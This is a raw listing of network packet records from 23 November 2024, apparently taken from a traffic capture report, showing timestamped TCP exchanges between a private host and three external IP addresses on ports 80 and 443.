Nov 23, 2024 11:22:23.554095984 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.554788113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.554821968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.554898977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.555717945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.555794001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.555859089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.556658983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.556751013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.556814909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.557585955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.557713032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.557854891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.558532953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.558619976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.558748960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.559468031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.559706926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.559868097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.560436964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.560585976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.560661077 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.560806036 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.560820103 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.560897112 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.561346054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.561443090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.561520100 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.561774969 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.561824083 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.561933041 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.561985016 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.562287092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.562318087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.562391043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.563214064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.565215111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.565248013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.565267086 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.565284014 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.565728903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.568610907 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.568681002 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.569557905 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.571973085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.572042942 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.572081089 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.572122097 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.575278044 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.575331926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.575371027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.575505972 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.578528881 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.578576088 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.578644991 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.578690052 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.581655979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.581765890 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.581783056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.581835032 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.584649086 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.584754944 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.584758997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.584803104 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.587702990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.587933064 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.587990999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.590636969 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.590706110 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.590760946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.591295958 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.593565941 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.593661070 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.593764067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.596395016 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.596463919 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.596487999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.596508026 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.599133015 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.599241018 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.599265099 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.599347115 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.601955891 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.602039099 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.602063894 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.602185965 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.604748011 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.604845047 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.604897022 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.604897022 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.607502937 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.607588053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.607611895 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.607753038 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.610306978 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.610409021 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.610469103 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.613059044 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.613076925 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.614689112 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.615843058 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.616043091 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.616045952 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.616087914 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.618582964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.618634939 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.618691921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.618832111 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.621356964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.621403933 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.621465921 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.621541023 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.623454094 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.623466015 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.623936892 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.623943090 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.624116898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.624231100 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.624253035 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.624298096 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.626928091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.626966953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.626991987 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.627010107 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.629709005 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.629796028 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.629822016 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.629887104 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.632481098 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.632524967 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.632586956 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.632636070 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.634850025 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.635212898 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.635230064 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.635298014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.635346889 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.635369062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.635452032 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.635961056 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.635967970 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.638010025 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.638068914 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.638096094 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.638096094 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.640816927 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.640877962 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.640904903 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.640958071 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.643541098 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.643661022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.643779993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.646336079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.646387100 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.646399975 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.646650076 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.649204016 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.649296999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.649358034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.649408102 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.651907921 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.651964903 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.651968956 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.652045012 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.654706955 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.654767990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.654808998 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.654819012 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.657488108 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.657541990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.657593966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.660299063 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.660351038 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.660561085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.660643101 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.663032055 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.663079023 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.663100004 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.663279057 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.665774107 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.665821075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.665945053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.666075945 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.668569088 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.668622017 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.668665886 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.668706894 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.671391010 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.671500921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.671504974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.671556950 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.674129963 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.674175024 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.674236059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.674283028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.676889896 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.676938057 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.677004099 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.677053928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.679657936 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.679708958 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.679754019 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.679856062 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.682440042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.682476044 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.682553053 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.685255051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.685298920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.685319901 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.685364008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.688062906 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.688105106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.688165903 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.688251972 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.690835953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.690887928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.690936089 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.690982103 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.693527937 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.693576097 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.725004911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.725205898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.725254059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.725455999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.725696087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.725790024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.726490021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.726778030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.726916075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.726970911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.727824926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.727840900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.727891922 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.728657961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.728734016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.728801966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.729557037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.729610920 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.729681969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.730494976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.730545998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.730592012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.731442928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.731530905 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.731534004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.732343912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.732405901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.732425928 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.733300924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.733361959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.733417034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.734234095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.734280109 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.734415054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.735197067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.735251904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.735447884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.736200094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.736303091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.736306906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.737123013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.737225056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.737229109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.738032103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.738101006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.738105059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.738924980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.739000082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.739036083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.739939928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.740094900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.740138054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.740850925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.740890026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.740942001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.741748095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.741802931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.741869926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.742676020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.742753029 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.742845058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.743642092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.743690014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.743731976 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.744573116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.744680882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.744812012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.745558023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.745610952 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.745716095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.746509075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.746615887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.746690989 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.747442961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.747565031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.747648001 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.748333931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.748399019 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.748446941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.749264002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.749443054 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.749573946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.750180006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.750238895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.750245094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.751137018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.751218081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.751270056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.752058029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.752116919 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.752130985 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.752211094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.752604008 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.752620935 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.752861023 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.752948046 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.753025055 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.753041029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.753082037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.753088951 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.753102064 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.753134966 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.753139973 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.753933907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.754046917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.754082918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.754098892 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.754173994 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.754566908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.754632950 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.754637957 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.754678011 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.754861116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.754940987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.754987001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.755825043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.755897045 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.755949020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.756736040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.756784916 CET	80	49786	34.116.198.130	192.168.2.4
